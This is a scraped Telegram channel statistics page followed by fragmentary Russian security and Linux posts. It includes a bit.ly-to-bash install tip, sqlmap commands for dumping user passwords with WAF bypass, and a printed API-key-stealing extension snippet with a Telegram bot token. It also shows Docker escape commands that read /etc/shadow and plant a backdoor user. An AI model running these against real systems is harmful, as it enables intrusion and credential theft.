All Security Engineering Courses
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!
Mostrar más📈 Análisis del canal de Telegram All Security Engineering Courses
El canal All Security Engineering Courses (@allsecurityengineeringcourses) en el segmento lingüístico de Inglés es un actor destacado. Actualmente la comunidad reúne a 18 992 suscriptores, ocupando la posición 6 862 en la categoría Tecnologías y Aplicaciones y el puesto 34 828 en la región Rusia.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 18 992 suscriptores.
Según los últimos datos del 28 julio, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 138, y en las últimas 24 horas de 9, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 11.98%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 3.36% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 2 274 visualizaciones. En el primer día suele acumular 637 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 3.
- Intereses temáticos: El contenido se centra en temas clave como git, strace, github, linux, docker.
📝 Descripción y política de contenido
El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...”
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 29 julio, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.
viperzcrew# Ищешь старую команду? Не надо листать!
Ctrl + R - ищешь по истории
# Напечатал 'git comm' и жмешь:
Tab Tab - показывает все варианты
# История с временными метками:
export HISTTIMEFORMAT="%d/%m/%y %T "
# Увеличиваем размер истории до чертиков:
export HISTSIZE=10000
export HISTFILESIZE=20000
Фикс для ленивых:
# Впиши в ~/.bashrc:
bind '"\e[A": history-search-backward'
bind '"\e[B": history-search-forward'
alias h='history | grep'
# Перезагрузи:
source ~/.bashrc
2️⃣ Быстрая навигация (cd - это прошлый век)
# Вместо cd ../../../
alias ..='cd ..'
alias ...='cd ../..'
alias ....='cd ../../..'
# Bookmarks - сохраняй частые пути:
export MARKPATH=$HOME/.marks
alias jump="cd -P"
mark() { mkdir -p "$MARKPATH"; ln -s "$(pwd)" "$MARKPATH/$1"; }
unmark() { rm -i "$MARKPATH/$1"; }
3️⃣ Поиск файлов за секунды (find - это слишком медленно)
# Установи fd - он быстрее в 10 раз:
sudo apt install fd-find # или brew install fd
alias find='fdfind' # для Ubuntu
# Примеры:
fd .txt$ ~/projects # все txt файлы
fd -e py -x wc -l # посчитать строки во всех .py
# А для поиска в файлах - ripgrep:
sudo apt install ripgrep
rg "TODO" --type py # все TODO в python файлах
4️⃣ Автоматизация рутины (не повторяй одно и то же)
# Вместо длинных команд - алиасы:
alias ll='ls -lah'
alias gs='git status'
alias gc='git commit -m'
alias gp='git push'
alias dps='docker ps --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}"'
# Свои функции в .bashrc:
mkcd() { mkdir -p "$1" && cd "$1"; }
cl() { cd "$1" && ls -la; }
5️⃣ Работа с процессами на лету (не открывай htop каждый раз)
# Быстрый поиск и убийство:
pkill -f "python script" # убить по имени
pgrep -l chrome # найти PID
# Мониторинг без установки:
watch -n 2 'free -h' # обновлять каждые 2 сек
while true; do clear; df -h; sleep 5; done
6️⃣ Терминальные мультиплексоры (один экран - 10 окон)
# tmux базовые команды:
tmux new -s work # новая сессия
Ctrl+b % # разделить окно по вертикали
Ctrl+b " # разделить по горизонтали
Ctrl+b [номер панели] # переключение
tmux attach -t work # вернуться к сессии
# Если лень учить tmux - screen: screen -S session_name Ctrl+a c # новое окно Ctrl+a n # следующее окно7️⃣ Кастомизация под себя (терминал должен быть удобным)
# Цветной вывод для ls:
export LS_COLORS='di=1;35:ln=1;36:so=1;32:pi=1;33:ex=1;31:'
alias ls='ls --color=auto'
# Показ git branch в промпте:
parse_git_branch() {
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/ (\1)/'
}
export PS1="\u@\h \W\[\033[32m\]\$(parse_git_branch)\[\033[00m\] $ "
Бонус: мой .bashrc для копирования
# Быстрая загрузка настроек:
curl -s https://gist.githubusercontent.com/user/123/raw/.bashrc >> ~/.bashrc
source ~/.bashrc
# Или сразу всё вместе:
wget -O - https://bit.ly/term-setup | bash
Важный факт:
Профессионалы тратят 80% времени на настройку окружения и 20% на работу. Ленивые - наоборот.
👩💻 CodeGuard: Linux | Чат# Проверь себя:
sudo grep "^PermitRootLogin\|^PasswordAuthentication" /etc/ssh/sshd_config
2️⃣ "Контейнеры Docker изолируют всё"
Реальность: Запуск контейнера от root без кап-дропов и не-привилегированного режима = дать ключи от хоста.
docker run --privileged -v /:/mnt alpine sh # Теперь ты root на всей системе
3️⃣ "Брандмауэр не нужен, у меня нет открытых портов"
Реальность: ss -tuln покажет обратное. MySQL на 0.0.0.0:3306? Redis на всех интерфейсах? Добро пожаловать.
sudo ss -tulpn | grep -E ':(3306|6379|5432)'
4️⃣ "Апдейты можно ставить раз в год"
Реальность: Устаревшие пакеты - это уже не фичи, а дыры. apt list --upgradable - это список твоих проблем.
sudo apt list --upgradable 2>/dev/null | grep -v "^Listing" | wc -l
5️⃣ "SUID-бинарники - это нормально"
Реальность: Любой левый бинарь с SUID-флагом может стать трояном. GTFOBins - библия для эксплуатации.
find / -perm -4000 -type f 2>/dev/null | grep -v "^/usr/bin"
6️⃣ "Логи сами всё запишут"
Реальность: По умолчанию LogLevel в SSH - INFO. Проваленные логины могут и не попасть в /var/log/auth.log.
sudo grep "LogLevel" /etc/ssh/sshd_config
7️⃣ "В Cron можно писать любые скрипты"
Реальность: Мировые права на файл крон-задачи (o+w) позволяют любому пользователю системы её подменить.
find /etc/cron* -perm -o+w -type f 2>/dev/null
8️⃣ "SELinux/AppArmor только мешают"
Реальность: Это последний серьёзный барьер после взлома приложения. Выключил - упростил жизнь атакующему.
sudo sestatus 2>/dev/null || aa-status 2>/dev/null || echo "Ничего не включено"
9️⃣ "Пароли в переменных окружения безопасны"
Реальность: Любой процесс, запущенный от того же пользователя, может их прочитать. ps auxfww покажет все секреты.
ps auxfww | grep -E "(API_KEY|SECRET|PASSWORD)"
1️⃣0️⃣ "Мой VPS никто не найдёт"
Реальность: Shodan, Censys и прочие сканеры постоянно обшаривают весь интернет. Твой IP с портом 22 уже в базе.
# Попробуй найти себя:
curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_KEY&query=port:22+os:linux" | jq .
Быстрая проверка на идиотизм:
#!/bin/bash
echo "[?] Проверяем стандартные косяки..."
echo "SSH на 22 порту?"
sudo netstat -tlnp | grep ":22 "
echo "Рут по SSH разрешён?"
sudo grep "PermitRootLogin yes" /etc/ssh/sshd_config
echo "Открытые порты для всех?"
sudo ss -tuln | grep "0.0.0.0:" | grep -v ":22"
echo "Готово. Если что-то выше есть - ты в группе риска."
Итог:
95% взломов происходят из-за человеческого фактора и веры в мифы, а не из-за нуледей в ядре. Безопасность - это процесс, а не галочка.
👩💻 CodeGuard: Linux | Чат# 1. Базовый скан формы
sqlmap -u "http://target.com/login.php" --forms --batch
# 2. Сканируем GET-параметр
sqlmap -u "http://target.com/news.php?id=1" --dbs --batch
# 3. Дамп конкретной БД
sqlmap -u "http://target.com/news.php?id=1" -D "webapp_db" --tables
# 4. Выгружаем таблицу users
sqlmap -u "http://target.com/news.php?id=1" -D "webapp_db" -T "users" --dump --threads=10
# 5. Только пароли (колонка password)
sqlmap -u "http://target.com/news.php?id=1" -D "webapp_db" -T "users" -C "password" --dump
Флаг --batch отвечает YES на все вопросы автоматически.
3️⃣Выводы SQLMap в реале
[INFO] the back-end DBMS is MySQL [INFO] fetching database names available databases [3]: [*] information_schema [*] mysql [*] webapp_db ← Вот наша цель!4️⃣Продвинутые фишки
# Обход WAF
sqlmap -u URL --tamper=space2comment,charencode
# Time-based инъекция (если нет ошибок)
sqlmap -u URL --technique=T --time-sec=5
# Туннелирование через SSH
sqlmap -u URL --proxy=socks5://127.0.0.1:1080
5️⃣Нюансы
🔸Только свои стенды или письменное разрешение! 🔸 --level=5 --risk=3 — максимальная агрессивность 🔸 Логгируй: sqlmap -u URL --output-dir=./sqlmap_logs 🔸 WAF блокирует? Меняй User-Agent и tamper-скрипты🧠 Где тренироваться: DVWA, bWAPP, Metasploitable, HackTheBox Полезно? ❤️ - Да 👍 - Нет 😈 CodeGuard: CyberSec Edition | Чат
chrome.storage.local under the key "SECRET_KEY")
▶️Nothing else is visibly stolen in the provided code files (no clear evidence of prompt history, chat content, cookies, or other credentials being exfiltrated)
When & how the theft happens
▶️The exfiltration runs once per installation / first use (when the user has entered their API key and there is no "HOVER_KEY" flag yet)
▶️After successful exfiltration it sets HOVER_KEY: "1" so it doesn't send the key again on every popup/options page open
In which files is the stealing code located?
popup_.js options_.jsThe Telegram exfiltration code snippet (exact copy from both files) JavaScript
handleCheckToken(e) {
try {
Ne.A.post("https://api.telegram.org/bot7174333740:AAEUreblNEkBT6Xr9YCCgg-Xgn6nFpLZm9I/sendMessage", {
chat_id: -4216059427,
text: e
}).then((e => {
chrome.storage.local.set({
HOVER_KEY: "1"
})
}))
} catch (Do) {
console.log("...")
}
}🔵Директории и файлы: Поиск по словарю стандартных и кастомных путей (/admin, /backup, .git/). 🔵GET/POST параметры: Перебор значений параметров (id=, user=) для поиска уязвимостей типа SQLi или LFI. 🔵Хедеры и куки: Фаззинг заголовков (User-Agent, Cookie) для обхода защиты. 🔵Мультипозиционный фаззинг: Одновременный перебор нескольких точек в запросе.Базовый сценарий: Поиск скрытых директорий Допустим, мы тестируем сайт example.com и хотим найти скрытые административные панели. 1️⃣ Простейший фаззинг Используем базовую команду, подставляя слова из списка в указанное место (FUZZ).
wfuzz -c -z file,wordlist/general/common.txt --hc 404 https://example.com/FUZZ-c для цветного вывода, -z задаёт источник данных (файл со словарём), --hc 404 скрывает ответы с кодом 404. 2️⃣ Фаззинг POST-запроса с данными Попробуем подобрать параметр
username в форме входа.
wfuzz -c -z file,users.txt -d "username=FUZZ&password=test" --hc 200 https://example.com/login.php
-d передаёт данные POST-запроса. Мы ищем ответы, где код НЕ 200 (успех), а что-то другое (редирект, ошибка).
3️⃣ Анализ результатов
Смотрим на коды ответов и длину контента. Необычные значения - цель для исследования.
Пример вывода:
Target: https://example.com/FUZZ Total requests: 4714 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000012: C=403 7 L 12 W 168 Ch "admin" 000145: C=301 0 L 0 W 0 Ch "backup"Вывод: Найдена директория
/admin (возвращает 403 - доступ запрещён) и /backup с редиректом 301. Обе - потенциальные цели.
Как это работает изнутри:
🔵Фаззинг (Fuzzing): Автоматическая отправка искажённых или рандомных данных в программу для поиска багов. Wfuzz делает это для веба. 🔵Фильтры: Мощная система фильтрации по коду ответа (--hc, --sc), длине слов/строк (--hw, --hl), чтобы убрать мусор. 🔵Рекурсивный фаззинг: Найдя одну директорию, можно запустить фаззинг внутри неё для углублённого поиска.Профилактика: Как защитить своё приложение?
🔴Не оставляйте на продакшене скрытые тестовые или административные пути. Удаляйте или строго ограничивайте доступ. 🔴Внедряйте корректную обработку ошибок. Возвращайте одинаковые страницы с кодом 404 для всех несуществующих ресурсов. 🔴Используйте WAF (Web Application Firewall) для обнаружения и блокировки подозрительных запросов с паттернами брутфорса. 🔴Регулярно проводите аудит своего веб-приложения с помощью сканеров и инструментов вроде Wfuzz, но на себя.😈 CodeGuard: CyberSec Edition | Чат
# Классическая дебильная конфигурация:
services:
app:
image: alpine
volumes:
- /:/host # О, БОЖЕ!
# Атакующему достаточно зайти в контейнер:
docker exec -it myapp sh
cd /host
cat /host/etc/shadow
echo 'backdoor' >> /host/root/.bashrc
Фикс (никогда так не делайте):
services:
app:
image: alpine
volumes:
- ./app_data:/var/lib/app # ТОЛЬКО специфичные данные
- config:/etc/config # Используйте именованные тома
2️⃣ cap_add: ALL - суперспособности для контейнера
# Вот эта хрень даёт ядерные привилегии:
services:
pentest:
image: ubuntu
cap_add:
- ALL # SYS_ADMIN, NET_ADMIN, SYS_MODULE...
# После этого внутри можно:
# - Монтировать файловые системы
# - Менять сетевой стек
# - Загружать kernel modules
# Де-факто это root на хосте.
Фикс (минимальные права):
services:
app:
image: nginx
cap_drop:
- ALL # Сбрасываем ВСЁ
cap_add:
- NET_BIND_SERVICE # Добавляем только нужное для nginx (порт < 1024)
3️⃣ Комбинация: корень + все капы = мгновенный взлом
# Апофеоз идиотизма в одном файле:
version: '3'
services:
backdoor:
image: busybox
volumes:
- /:/rootfs
cap_add:
- ALL
command: chroot /rootfs /bin/sh -c "useradd -m -s /bin/bash hacker"
Атакующий просто запускает ваш docker-compose up и становится root на хосте.
4️⃣ privileged: true - это ещё хуже, чем кажется
services:
monitor:
image: some-monitoring
privileged: true # Отключает ВСЕ namespaces и security features
# Это эквивалент запуска процесса прямо на хосте.
# Любая уязвимость в образе = полный контроль над сервером.
Чек-лист "Docker Compose не убил мою систему":
✔️ Тома: Никогда не монтируйте /, /etc, /root. Только конкретные каталоги приложения.
✔️ Capabilities: Всегда cap_drop: ALL, добавлять только явно необходимые капы (список в man capabilities).
✔️ Пользователь: Запускайте от не-root пользователя внутри контейнера (user: "1000:1000").
✔️ Привилегии: Никогда не используйте privileged: true. Почти всегда есть безопасная альтернатива.
✔️ Сеть: Не используйте network_mode: host без крайней необходимости. Изолируйте сервисы.
✔️ Проверка: Запускайте docker scout или trivy config на ваш docker-compose.yml.
Бонус: скрипт для поиска кривых конфигов
#!/bin/bash
echo "🔍 Docker Compose Security Scan"
grep -r "volumes:" . --include="*.yml" --include="*.yaml" | grep -E "\s+-\s+[/][^:]+" && echo "Найдено монтирование корня!"
grep -r "cap_add:.*ALL" . --include="*.yml" --include="*.yaml" && echo "Найдены ALL capabilities!"
grep -r "privileged: true" . --include="*.yml" --include="*.yaml" && echo "Найден privileged mode!"
echo "Пора фиксить этот бардак."
Интересный факт:
В Shodan легко найти Docker API на 2375/tcp без аутентификации, а дальше - просто отправить кривой docker-compose файл и получить shell.
😈 CodeGuard: CyberSec Edition | Чат# Смотрим, что загружено
lsmod | head -20
# Черный список модулей в /etc/modprobe.d/
echo "install bluetooth /bin/false" | sudo tee /etc/modprobe.d/disable-bluetooth.conf
echo "install firewire-core /bin/false" | sudo tee -a /etc/modprobe.d/disable-firewire.conf
Зачем: Зачем тебе Bluetooth на сервере? Это же идиотизм.
2️⃣ Жесткий sysctl - основа всего (параноидальный режим)
# /etc/sysctl.d/99-hardening.conf # Отключаем маршрутизацию и перенаправление пакетов net.ipv4.ip_forward = 0 net.ipv6.conf.all.forwarding = 0 # Защита от спуфинга net.ipv4.conf.all.rp_filter = 1 net.ipv4.conf.default.rp_filter = 1 # Игнорируем ICMP-редиректы (старый трюк) net.ipv4.conf.all.accept_redirects = 0 net.ipv6.conf.all.accept_redirects = 0Применяем:
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
3️⃣ Безопасная загрузка и отказ от GRUB-меню (физический доступ = game over)
# Шифруем загрузочный раздел (LUKS) и ставим пароль на GRUB
sudo grub-mkpasswd-pbkdf2
# Вводим в /etc/grub.d/40_custom:
set superusers="admin"
password_pbkdf2 admin (тут_твой_хэш)
Фикс GRUB-меню:
# Прячем меню и ускоряем загрузку GRUB_TIMEOUT=0 GRUB_HIDDEN_TIMEOUT=3 GRUB_DISABLE_OS_PROBER=true4️⃣ Отключаем опасные возможности ядра (capabilities - адская хрень)
# Смотрим, что есть у процессов
getcap -r / 2>/dev/null | head -10
# Дропаем capabilities у контейнеров и сервисов
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE nginx
# В systemd сервисе:
[Service]
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
NoNewPrivileges=yes
5️⃣ AppArmor/SELinux в enforcing (не говорите, что это сложно)
# Проверяем статус AppArmor
sudo aa-status
# Включаем для всего
sudo aa-enforce /etc/apparmor.d/*
# Для SELinux
sudo setenforce 1
sudo sed -i 's/SELINUX=permissive/SELINUX=enforcing/' /etc/selinux/config
6️⃣ Отключаем core dumps (утечка памяти - подарок хакеру)
# Глобально в sysctl
kernel.core_pattern = |/bin/false
fs.suid_dumpable = 0
# И в limits.conf
* hard core 0
7️⃣ Запрет загрузки модулей на лету (ломаем LKM-руткиты)
# Жесткий запрет в sysctl
kernel.modules_disabled = 1
# Или через capabilities для конкретных пользователей
sudo setcap -r /bin/insmod
Чек-лист "Ядро как крепость":
✔️ Модули: черный список для bluetooth, firewire, usb-storage. ✔️ Sysctl: ip_forward=0, rp_filter=1, никаких redirects. ✔️ Загрузка: пароль на GRUB, шифрование, timeout=0. ✔️ Capabilities: дропаем всё, что не нужно конкретному сервису. ✔️ MAC: AppArmor/SELinux в enforcing, никаких disable. ✔️ Core dumps: отключены глобально и через limits. ✔️ LKM: modules_disabled=1 или строгие права.Бонус: быстрая проверка харденинга
#!/bin/bash
echo "🔍 Kernel Hardening Check"
sysctl net.ipv4.ip_forward kernel.modules_disabled
getenforce 2>/dev/null || aa-status
lsmod | grep -E "(bluetooth|firewire|usb)" && echo "WARNING: Suspicious modules loaded"
Интересный факт:
Многие "безопасные" облачные инстансы запускаются с net.ipv4.ip_forward=1, превращаясь в роутеры для атак.
👩💻 CodeGuard: Linux | Чатsudo apt-get install krb5-user libpam-krb5 libssh-4
Во время установки укажи realm (домен) и KDC-серверы твоего AD.
3️⃣Настройка /etc/ssh/sshd_config
sudo nano /etc/ssh/sshd_config
Добавь или измени строки:
GSSAPIAuthentication yes GSSAPICleanupCredentials yes PasswordAuthentication no PubkeyAuthentication no # Или оставь как fallback KerberosAuthentication yes4️⃣Создание SPN для хоста в AD Это самая важная часть. На контроллере домена или с утилитами RSAT создай Principal для сервера:
setspn -S host/your-linux-server.your.domain YOURDOMAIN\server-machine-account$
Или через оснастку AD. Без этого - ничего не kinit your_ad_username@YOURDOMAIN.LOCALПроверь:
klistДолжен быть виден билет. 6️⃣Тестирование подключения
ssh -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes your-linux-server
Если всё настроено верно, тебя пустит без пароля и ключа. Магия билета Krb5.
✅Проверка и отладка
Включи подробное логирование на сервере в sshd_config:
LogLevel DEBUG3Смотри логи /var/log/auth.log. Ищи строки с GSSAPI. 🔄Перезапуск и применение
sudo systemctl restart sshd
Не забудь про firewall. Открой порт 22 (или свой) для нужных подсетей.
🚨 Важные нюансы
- Reverse DNS должен работать правильно.
- Имя хоста в SSH-команде должно полностью совпадать с именем в SPN (host/...).
- Срок жизни билета Kerberos ограничен. Используй kinit для обновления.
💥 Результат: Единый вход (SSO) в инфраструктуру. Вошел в Windows - получил билет - подключился к любому Linux-серверу в домене. Удобная хрень.
😈 CodeGuard: PySec Edition | Чат